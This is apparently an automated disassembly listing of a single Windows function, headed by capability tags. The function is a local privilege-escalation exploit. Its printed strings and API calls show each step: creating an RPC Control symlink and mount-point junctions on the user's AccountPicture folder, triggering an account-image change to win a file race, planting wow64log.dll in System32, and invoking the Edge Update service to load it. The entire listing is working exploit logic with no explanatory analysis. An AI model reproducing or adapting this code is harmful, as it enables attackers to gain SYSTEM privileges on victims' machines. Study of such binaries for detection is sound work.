Function at 0x140001380
Capabilities:
Create directory
Get session user name

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x27b8]
mov eax, 0x28b8
call fcn.140016fe0
sub rsp, rax
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rbp + 0x2790], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140001405
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x1400261f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x1400261d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400261e0], rax
jmp 0x14000140c
mov rax, qword [0x1400261e0]
cmp qword [0x1400261f0], 0
je 0x140001b67
cmp qword [0x1400261d8], 0
je 0x140001b67
test rax, rax
je 0x140001b67
xor edx, edx
mov qword [rsp + 0x28e0], r12
mov r8d, 0x400
lea rcx, [rbp + 0x390]
call fcn.140003910
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x200
call fcn.140003910
xor r12d, r12d
mov dword [rsp + 0x64], 0x100
lea rdx, [rsp + 0x64]
mov qword [rsp + 0x50], r12
lea rcx, [rbp + 0x190]
mov qword [rsp + 0x48], r12
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea r8, str.C:windows_system32wow64log.dll
lea rdx, str.___s
lea rcx, [rbp + 0x790]
call fcn.1400012c0
lea r8, [rbp + 0x790]
lea rdx, str.GLOBALGLOBALROOTRPC_ControlUserImage.jpg
lea ecx, [r12 + 9]
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
je 0x1400014db
lea r8, [rbp + 0x790]
lea rdx, str.GLOBALGLOBALROOTRPC_ControlUserImage.jpg
lea rcx, str.___Symlink__ls_____ls_created__n
call fcn.140001320
jmp 0x1400014ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.140001320
mov qword [rsp + 0x28b0], r13
lea r8, [rbp + 0x190]
mov qword [rsp + 0x28a8], r14
lea rdx, str.C:users_lsAppDataLocalMicrosoftWindowsAccountPicture
lea rcx, [rbp + 0x390]
mov qword [rsp + 0x28a0], r15
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2200000
lea rcx, [rbp + 0x390]
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001568
mov rcx, rax
call fcn.140001c50
test eax, eax
je 0x140001854
xor edx, edx
lea rcx, [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140001b5b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2200000
lea rcx, [rbp + 0x390]
mov edx, 0x100
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400261e8], rax
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x140001610
lea rcx, str.____Cannot_open_directory__n
call fcn.140001320
mov eax, 0xffffffff
mov r14, qword [rsp + 0x28a8]
mov r13, qword [rsp + 0x28b0]
mov r15, qword [rsp + 0x28a0]
mov r12, qword [rsp + 0x28e0]
mov rcx, qword [rbp + 0x2790]
xor rcx, rsp
call fcn.140001df0
add rsp, 0x28b8
pop rbx
pop rbp
ret
mov qword [rsp + 0x28d0], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28d8], rdi
mov rsi, 0xffffffffffffffff
mov word [rsp + 0x60], r12w
inc rsi
cmp word [rax + rsi*2], r12w
jne 0x140001632
add rsi, rsi
lea rbx, [rsi + 0x24]
lea rcx, [rbx + 8]
call fcn.14000a898
mov r14, rax
lea r8, [rsi + 2]
mov r13d, 0x18
lea rdx, [rsp + 0x60]
mov dword [rax], 0xa0000003
mov word [rax + 4], bx
lea rcx, [r14 + 0x2a]
mov dword [rax + 6], r12d
mov word [rax + 0xa], r13w
movups xmm0, xmmword [str.RPC_Control]
movups xmmword [rax + 0x10], xmm0
movsd xmm0, qword [0x140020710]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140020718]
mov word [r14 + 0x28], ax
mov word [r14 + 0xc], 0x1a
mov word [r14 + 0xe], si
call fcn.1400058c0
xor edx, edx
lea rcx, [rbp + 0x790]
mov r8d, 0x208
call fcn.140003910
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9d, [rbx + 8]
mov dword [rsp + 0x28], r12d
mov r8, r14
mov edx, 0x900a4
mov qword [rsp + 0x20], r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rdi, qword [rsp + 0x28d8]
mov rsi, qword [rsp + 0x28d0]
test eax, eax
je 0x140001b47
xor r9d, r9d
lea rdx, [rbp + 0x790]
mov r8d, 0x104
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
lea r8, str.RPC_Control
lea rdx, [rbp + 0x790]
lea rcx, str.___Junction__ls_____ls_created__n
call fcn.140001320
mov rcx, r14
call fcn.14000a884
lea r8, [rsp + 0x48]
lea edx, [r13 - 0x10]
lea rcx, [r13 - 0x19]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140001762
lea rcx, str.____Cannot_open_process_token._n
jmp 0x1400015cd
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x40]
call fcn.14000a898
mov r9d, dword [rsp + 0x40]
mov rbx, rax
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
mov r8, rbx
mov qword [rsp + 0x20], rax
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1400017bf
lea rcx, str.____Cannot_get_token_information._n
jmp 0x1400015cd
mov rcx, qword [rbx]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
jne 0x1400017dd
lea rcx, str.____Cannot_get_user_SID._n
jmp 0x1400015cd
mov rdx, qword [rsp + 0x50]
lea rcx, str.___User_SID:__ls_n
call fcn.140001320
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x200
call fcn.140003910
mov r8, qword [rsp + 0x50]
lea rdx, str.C:userspublic_accountpictures_s
lea rcx, [rbp - 0x70]
call fcn.1400012c0
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2200000
lea rcx, [rbp - 0x70]
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001860
mov rcx, rax
call fcn.140001c50
test eax, eax
jne 0x140001860
lea rcx, str.____Cannot_move_file__n
jmp 0x1400015cd
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140001b5b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x2200000
lea rcx, [rbp - 0x70]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, str.___Change_account_image_to_trigger_a_vulnerability..._n
mov rbx, rax
call fcn.140001320
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
nop
xor edx, edx
lea rcx, [rbp + 0x790]
mov r8d, 0x2000
call fcn.140003910
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x790]
mov qword [rsp + 0x28], rax
mov r9d, 1
mov r8d, 0x1000
mov dword [rsp + 0x20], 1
mov rcx, rbx
mov dword [rsp + 0x60], r12d
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
cmp dword [rbp + 0x794], 2
jne 0x1400018e0
lea rdx, str._Image1080.jpg
lea rcx, [rbp + 0x79c]
call fcn.1400032fc
test rax, rax
je 0x1400018e0
xor r8d, r8d
lea rdx, [0x140020864]
lea rcx, [rbp + 0x79c]
call fcn.14000a848
mov r9, rax
lea r8, [rbp - 0x70]
lea rdx, [0x140020868]
lea rcx, [0x140025dd0]
call fcn.1400012c0
nop dword [rax]
nop word [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x40000000
lea rcx, [0x140025dd0]
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400261d0], rax
cmp rax, 0xffffffffffffffff
je 0x140001990
call section..text
test rax, rax
je 0x1400019e4
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 2
lea rcx, str.C:windows_system32wow64log.dll
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400019e4
lea rcx, str.___DLL_created__n
call fcn.140001320
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Triggering_Edge_Update_service__n
call fcn.140001320
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xor edx, edx
mov qword [rsp + 0x58], r12
lea rax, [rsp + 0x58]
lea r9, [0x140020a48]
mov qword [rsp + 0x20], rax
lea rcx, [0x140020a38]
lea r8d, [rdx + 4]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rbx, qword [0x1400261e8]
xorps xmm0, xmm0
mov qword [rbp - 0x7c], r12
mov dword [rsp + 0x70], 0xa0000003
mov dword [rsp + 0x60], r12d
movdqu xmmword [rsp + 0x74], xmm0
cmp rbx, 0xffffffffffffffff
jne 0x140001ab2
lea rcx, str.____HANDLE_invalid__n
call fcn.140001320
xor eax, eax
jmp 0x1400015d7
xor edx, edx
lea rcx, [rbp + 0x790]
mov r8d, 0x208
call fcn.140003910
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x70]
mov dword [rsp + 0x28], r12d
mov r9d, r13d
mov edx, 0x900ac
mov qword [rsp + 0x20], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140001b2c
xor r9d, r9d
lea rdx, [rbp + 0x790]
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
lea rdx, [rbp + 0x790]
lea rcx, str.___Junction__ls_deleted__n
call fcn.140001320
xor eax, eax
jmp 0x1400015d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error:__d._n
call fcn.140001320
xor eax, eax
jmp 0x1400015d7
mov rcx, r14
call fcn.14000a884
lea rcx, str.____Cannot_create_junction__n
jmp 0x1400015cd
lea rcx, str.____Cannot_create_directory._n
jmp 0x1400015cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.140001320
xor ecx, ecx
call fcn.140006238
int3